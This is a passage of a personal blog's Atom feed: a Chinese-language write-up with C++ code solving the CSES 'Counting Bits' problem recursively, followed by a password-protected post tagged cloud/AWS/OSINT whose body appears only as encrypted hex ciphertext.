style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">100</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">100</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">101</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">101</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">110</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">110</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">111</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 中所有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 的數量<br>首先最高位的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>14</mn><mo>−</mo><mn>8</mn><mo>+</mo><mn>1</mn><mo>=</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">14-8+1=7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">14</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">8</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span> 個，將這些首位的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 拔掉，上面那 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>7</mn></mrow><annotation encoding="application/x-tex">7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span> 個數字變成<br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>000</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>001</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>010</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>011</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>100</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>101</mn><mn>2</mn></msub><mo separator="true">,</mo><msub><mn>110</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">000_2, 001_2, 010_2, 011_2, 100_2, 101_2, 110_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">00</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">00</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">01</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">01</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">10</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">10</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">11</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><br>有沒有發現！這不是一樣的問題嗎？找出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> ~ <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>110</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">110_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">11</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> (也就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>6</mn></mrow><annotation encoding="application/x-tex">6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>) 中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 的數量！</p><p>所以我們可以用上遞迴！不過有遞迴就要有 base case，不難想到這裡的 base case 就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">n=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 時，回傳 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></p><h2 id="%E7%A8%8B%E5%BC%8F%E7%A2%BC" tabindex="-1" id="程式碼">程式碼</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span>ll <span class="token function">counting_bits</span><span class="token punctuation">(</span>ll n<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// base case</span>    <span class="token keyword">int</span> k <span class="token operator">=</span> <span class="token function">__lg</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span>    ll count <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    ll m <span class="token operator">=</span> <span class="token number">1LL</span> <span class="token operator">&lt;&lt;</span> k<span class="token punctuation">;</span> <span class="token comment">// 記得要 1LL 啊！我第一次送的時候漏掉這個所以錯了</span>    count <span class="token operator">+=</span> <span class="token number">1LL</span> <span class="token operator">*</span> k <span class="token operator">*</span> <span class="token punctuation">(</span>m <span class="token operator">>></span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    count <span class="token operator">+=</span> n <span class="token operator">-</span> m <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>    count <span class="token operator">+=</span> <span class="token function">counting_bits</span><span class="token punctuation">(</span>n <span class="token operator">-</span> m<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// n - m 是把最高位拔掉，列個二進位的直式減法就顯然了</span>    <span class="token keyword">return</span> count<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    ll n<span class="token punctuation">;</span>    cin <span class="token operator">>></span> n<span class="token punctuation">;</span>    cout <span class="token operator">&lt;&lt;</span> <span class="token function">counting_bits</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p><s>笑死 CTF 解太多，文章結尾都很想來個「所以 Flag 就是……」</s></p></blockquote>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/07/12/CSES-Counting-Bits-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/07/12/CSES-Counting-Bits-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-07-12T02:42:28.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<p>題目見網址：<a href="https://cses.fi/problemset/task/1146/">https://cses.fi/problemset/task/1]]>
    </summary>
    <title>CSES Counting Bits 題解</title>
    <updated>2026-07-12T02:42:28.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="cloud" scheme="https://r3xdj.pages.dev/tags/cloud/"/>
    <category term="aws" scheme="https://r3xdj.pages.dev/tags/aws/"/>
    <category term="osint" scheme="https://r3xdj.pages.dev/tags/osint/"/>
    <content>
      <![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt"     data-hbe-format="4"     data-wpm="Oh, this is an invalid password. Check and try again, please."     data-whm="Oh, this is an invalid password. Check and try again, please."     data-salt="42bd75073ef0177a1e16659dda3cbe1727d59a593cdf383c8ab319e7dbd07ea6"     data-nonce="89e980f0a1b399829f094662"     data-kdf-iterations="600000"     data-auto-save="false">  <script id="hbeData" type="hbeData">    190bedd27a123acdb8c60dfa98d6b560526d7f7bee6dab4c81a623f70de0fddd5a58d4b3f0e809d72fcdeda8be39a12ffaf98c50538318b19b70846a052008896f5e723ee47203250284d0fc1153dbb0c29cb1e0e3ebc5a26f192eb2d996c4790c9943f7193977409b6338ff47048f544641948b616fea300bf4e11ea6aec81945c3345c4a010027b10b9f62122f63fcd7e7295b9ccadcc2eb9617cbcb5090189d7098bf2a37ee9623bb584c66a0fff62e2c926a08bce88d3fa8c6d7c60ac41d1951820dbf98d41bfad4effbddb19383996ef50aa47cc1e2cf27ac41976eaf55006b0aa3735843b50a532e56a3961b44fb5763fc53857b244c6e42ad2666d00fb72a386180589a5325c090997e09867b853641d11fdedebfc5222719f9262381febd5779fda94eef8af1f5bbff6f00e57a453fe49fbfeba05235e50fa1e89b357db898f41e4f8cbc3efad23204477d622d15f69e86b7b690ab2412f1207dd297097a686bcaee182c78aeb8976bb94290d4c71c2d7878d674db11e37f44ec4860a7e6c130cffaf05c360e96ae71e3678b286d698e3088495d2559123716570425c5595da4ba30b506f19f42bd99bef685e2b4459454499571c02b8b3d4a3f708b13840bb6f84bdf8f4f4114dcac60e43e4a549d5f6a5a59286b311a50067ec91e2041538d3334f9e70337b550ce0027ae739151615ce1c000015c83f7ed23f8e5c607f98e8b55b2e136c159cede8c47bbdad7f93312e49a51289d2eebca3f280f00f60288a97f102ed2276ac84dfb2a0a30c089dbef869afd54114edd21badc6fb46ef077933d749b479af45f13134b721279aac6486fa6f5b45f1a31e21876ce158a4fb10d9a63f9a18bc4c6476635cc92cd2d7059e9300a30c60608ec9105ceb99c06c6d211c0542b1c32877f7d1b15284caf75403b0d6a39470ee9270e188dffbcbca077a1a50843de5156f4dd35347313c3d46dc1e84599082b4e0f8ed7880300cb763714f823ef211b7bb57f9802d9868a96915f1c4eeb19a7d1dd760d80e2eb02eb8606c0ad3a2e3523cd2e0c3e3631d2ce5692fc4d20a36bbdc0d3c08450959eed560241cf684b38517d3d26ee3a131ea0d5028cd210c6490965fb78e5cb176e43ff1c15b2b655a0432b1c664f3410064d54022238187cd2d1a674cf788b71ae6ad2c066ffcd4c8b5ac98a8f2d40380579e6b4bf2ca7d63b03687cf69e31ff178be2b198b0558504cccbf7ba3dbd2a239d358a9c92a4b439c450a7281166a37642b2f724625993cd10c1fdc003827b5f5196620bebde8749d6392e8a6e8b106ac1ad9118c1d3d8779d60955a17f7adf06341a90c9e6a2bf3462d198b9b8b6b0a7ee20163b0da72b6c7c6b9048c923a3694981650438fc79c2455097bbf7da96a7da800a2041265f8f242cac651a3422778cbec320510a60673a7d2e43271bfa75228ee2c8b6584200b3823e0066dbcb67d5d41c7b037bca268641db5c644a127280c6c971ce1157a398b9d7b4dc41697e2cd577d5f7124b72f57de291c7710a673135312482eb147ed9bb80e103a06af25d860e394400eb7eb4263c27d45600e6ae6f2aae6e4c80f98dfe2efd541cae74e08b38173042799bcc43136bbdb2e57db92f4bba6fcaace6dd28988f9ba8d4ecc497617599694add63dbb7ae768f246c2d2f40fef2bdb549fdd1621fdde874dea64652160c8f5df6e869da1f4ac3d75e59e84084d3773bac0e47e1d1743bf3a13c401ad0a519e168a045f2c12494094bf81eb68667414e9378bc33899e14f6842c013f5cf9043c701b73c191355780c7d93fcf7ec1be9cd73db43124a4968a07048ff5d70761be4b421cd5e8f11865dc8209f9974d7140903c6804402362bc8a1f832520c3c6e983e6693175a9c3b87f19eb51938fa489c5458e3219d16eb4f21fb0b73aabdf80f4190046b6d76d2262c08bdff8493cfb479b196cd0fdc525b5fd3f61cd49e998620c26767906e52964379adf0a9dcdaca244a161ef5490f08bde1e9da211af46d280bee1ee80105181b47297b8a182aab7a1c840cf20e9baac9d3c1278f635110b1e68b87819de94e00a58235d07cfdef655304bde9c7cdb5993373ab534fd37dc99ce53255142afc6d86ef5f661433cf60241b16d9101ba041fdb3580d2c3bbd6334f323d30c4f79ef9ee8791643b33f35c608eebd8a407e000898bf5ad3c376c403c8586a68412b31abe3d72b126b5d377fc54bb0a2c331780b33433c457df304a4e61586e00db56509b975d9de0a6a0dae69204dae463bb05962c879d4086658e56e5b3953c8c0d58598973406bbea2f8c2e1d28a5ed894588bb82016530609c0083bc249f447bd12f9ec37c6fd66a3abf037b928accdf1ec0cec2bd624194554e9a6f77c040a1b59c81bf8d3630708f9bd444b8a90132b8cbcb98147ee3fe9f046ba36dddd2705fcfe878ce5b893a3aba29b592f569a288fe35685d36eeff1dfb9fb3be5d22f750e26fff3eb300edc1a22ba28f507b59addd3663d594b42c37132b631fd51ec92f2ff5029c3c3ef3d8256aa61874fef0bffaa8c55255ca2f0d3c20cf188858331415d1cdb078d37a99b05d9a8268da062b6357828ed9b927239f573738dc454e0e3cd9a3ada89033e38df94b229ff15063fe6da95c8b9205d13edc2982faf43c11bc7471c56b6fdb9b548277d59536653eaeaf9741bf1e67a1c2120470ec9194d1a4d9d00aeb0f5c00404e050a8eedc301e9e7b17074bb846673602a9f696be7abffb95e5260b5b7aab72af57a13bc47c0c17faa53a35f8522e65a67f5a2093fd64a6f187aff9de18158f6a602883c3864aaea9690e1fc88a7c4b1fe0d5111e53c7935fa519def0ce600b5e463ec43ff908f95c3595c9592e315872a06410a95641b97b1535b2ff87f2acdce73a59c0560ad800f0cad87373bc7eb505bed6eb0f8577bff83a1a85b1f625e1053c7ae5e710fbf03d20fd08a0e961ffef8d00dc6e7f1359a26ff3c13c2e9f94c409a72cd09a9a7bf75f606410574cf3fa8625dc235823c6ab012e9bcc519313ab0958b91a127f053e64706b3236e0ca68c50aeb7d6ea4f541367013614ace659e0b471e746aa2d9f0c0f9a76b7c2f58cd94b076b3506a4b57640c3d45f592aad2ca953b9db9d22bc108a97e2c485b1734b2fd2c0b2b8fb73eb9af32a82d51bf90ec60511b346c364d25e51936c1c307e3d86d780bffea5f91469ec9ea941a63ccafaa28822679f0843426ba2be1955c8ea52f61b2ba67d333b3edbd86b39c0c10e813804d1fd17f1ebc2bd80d07ef9e505faedce4c14f53f5549decf69ffcdc236d2c47b0ec51dac3742b4386225ee45863317762af4b6d1160ee1aad6c243023cafac2e1e2cbebbc34c622311f1a11f4f9fd29bafbdbe01f7d35f14d51c9d26832265150fee4f9b12a3ef11a28212419df4fb2a7fc40458ea0f55aafbd7a6bac4dbb9f2aa0bb76331d1287dd4f403b4cb31792cf650db06458581be5c0f63a772a41989a5958903a01b943450c29682907624e0df0b3bbeb122811404f04f7e610505faff15cc85ab0c1cd37458d7eb87999e710dc618f7834f282ac4230adea3df46bea92230416d924ccf6430f9556e09acd2fbfa3cf6b0ac7b76ed18b46d9ea2c61d9247baab1614823d68bfa724a360f489eaf8fe492d273ca9a65e5fb80ba8ca35b0e0a21df4a2b8e4e23b2ac4fe235709a17cd4fe38067a6ee3f09af09706d3b729ef00ca3c1d316421326ad069b7a2b312d9607ea64678bd8c5dcbf055db8a9368ad843f5978cd8cee99d4e656b3edba8208103503c74729d5a0b1bff3fd68dae20ccc5739b09d0424937932f2397b65801da198f8e0188b710a124d9bdc50cd37d352f410f0eae7a0176c170e1928f29c0b3d031cb82d4e1d35e13e1fa3efc421448e34a27142768b0aa70b3843bd2d424d3286b1d36ebdafb256517cb77740876045c35c71e0e996145410e78f2aafb5e91fa3a005677ce286f247c58ea5bddfe2216df624589c09a1f069958084cf70b2201bbd20969531212614b5c517c4e1c0b040730d4e149fe8ecf82ef5fa12aa2401542cddc0785169ea24c6cbfe75dbb52ea8ef9b2944d6fd49fc6b3ec3132a9c8e53ac192e3004644140abbbfe2d63107adc69f94b73959da9fa6096a13d5e57fe419c55fa68004dd6aad078f5f3e58712712b09f8b342f5f192cb96e68b356f25ff039b284fd6de08a6bc19260861afc488e1ac139249361a254373c71fbf5645dea3832f8a3734014382f2fd36bb0206ec7e728c712486da7e73dd80e7656e9cfede519f13deb00786ee864d321e8cdf5888a4db608f7905c5c0ef7b9165cf28c30ca1b4f0b06d56d6108e842fd866f3d778b95bdcac3b171c94b44beca847f1a889ada0fb52dc4edf372a41e050b5b76a212417c1856b0463031ca34445b31825c3292fab62cbc68cc8f856732ef020147ca38001e77538299d811dd724277d85ebcaafb33fd5e4b268d5e5f0c979527196c96f711850c36c451f073a78fa0a3dc40001981409b53277009e254143636b5ad94bbe075e00ffcbe29671c3405ac826e659a5788a05080e405d8cadec6765c2621671d8741a37affb92feb741fa373bdf0fbb7ec2bf50d2c152e272ee45452fcf691489d73d1176efe6df25e5907194b1f74a451db87abe965602837f61a9e670a2180959f4112a94d39fb79a51acf3865c8c6a5630523b930bf96da1b91e04a0e6a6b2b73eddcb876dd1b3d3fb3ecce7abc29e18f3018d8de07c15548b7ad2f55ff4caad82d913656c66fcf8a99ca2173a578e0e53cb0f01e5433cb61f2a34880678cb13f868269eee2fb5c9a227069b22f92e2bd5eaf39cc075c289849f914b2e06ac6ccd030cd4fb55fb9f978f33ba771feeca6b3135a2fdd3cadfd2e7ae5a988598c21d1dd428adce099bcb059db8deec8d1a784c0fe63ee48ca2d72c9b1af1634570b0d0fe3b9d9e56f118df060d423899529290666e1003124664a0daff05383d584eb56f814aadda98cf1c4715d722e581f775bac04480152c7b7c1a3f21706bcc2426e1a6b0c7f0c023a0ed64d8faee59e585c3d5c920787d84e26e16a8da5ca8555ab19dc98c396badbf0004bc1a71ba9eb31744c3a3e01d48459659304738328cc6016e2350a6bf68abed0b97667b33a04f22cd1bb71b189cebdaa74aa5063d22ed4156d1b75055e5d71ce9e11cf246fc845671abef4d80003627e48a541d94db2728e3a1916a46c2eab7e3618a4f148c71f3f815f1dafa2c2209f167191e9ce096f3117a3b9203a120ff4b26c297fb54e8878f05606ee952b0ec98c87df91419730c5961a1552c63cf2fbfc0b26b29bf14d2cae7ad2d6866df443bf87bd52d58ee6187fee7946f76998d0314b3d0a2e50bdd9f3e9b1bd9c715739c1dd182f920bf46e7cebd635e08bb7f75d7a4ba578cabba8e4b2961cd03ac123a95ca0f430120b4f60340aed28ee2dca7c0dc5640ea945453ee63a78cc7a242b2beb90632a787d729321be39f028ff8880d5bf7db950261cdb30f328afb55bb1a8570edebf4800735e95d61057cff093fa87fcd4e680f43a197509eebf4659750b06d54626ff73bfbd63541e498cab77654c3b44587d317587348d1feee2e1ea4ea49981166e6ea2587a77306c624e160a8aa13e67cbd50f87fd5104c13a2773d3edc80deff4454da3303087bbe9217498d85daff76e00091f35d54f3b59f095f79d85299cb3a1b0f897556bd318e4483f1564a2eab34116338b9cdfa817a40c3caba4323b6cfae25500de042165280f12132a85ec245c8e66de3d27ec31a629391d92b16e2894dde8cbef9b3cde9295c1b02691dda819bb3ac7588e5a28e608b3e7915513419fe81b4a40242eab3d1cb6f083950b006254075cdec03662914413381bf2029381abd350bbaaab78a20bd5be5fbd3da99df052cb867b17a119b9e1b8b25e7cc348e7bb1636889375ffbff43c932fa146dfbb547b01e233441a455c7f661fa41ffb7ecf0a053ff3895f1c1794a071c03245fa09738d7e18998ec3384a382085206d157a525355781990ebec3e263c112f637da5f5fe1ac51121ccecc4b6978fc34ccb666cfc136156a2eba2c1060deab2bab3463666d04c94dc2c25f6a1c0441edc099f5dba662e71cf845baf8389b967a375ee9b6bea776c6da60d5c668c7592371fd8aaa1f84084eeed1767629ce1c38db354170c704df1f0c9eb8b581e6338f470665f381172ceb2b0b72858ed88d2d97b7f0a6a48ba3420e6e710990b4076b6608144582cc63360d1e45121a2701b76e317abc47c7e3b8f6b72552ae92a991f55abc173761aeedeadbe126c9e19a52838f65ddc2cd580148639d5bed10bd771c92c79feb6758b5eec1b247ecb780dc80e8daf119d49272d1d8df7e547d71d9cf813d15f17655ecce9528fd43534d0f3e3a04f82da39ddb2294a7655b0c7050a67a44222d28f01897aff87665779b701aa2eed0d567e6f280d32c63e232203e4bba8a4412a2cbffe2255b018c00313d6ea3d1f805295060184ac0402a11a6e9b449b1280969e90e75f9d80f8197804a367f5fce3d86c66e0c243f6b483d0ea48bd602a07ab878b241825c1f6bee3f93a4098a76cd92d7b8db59f614729ec2b21aeb4a0ee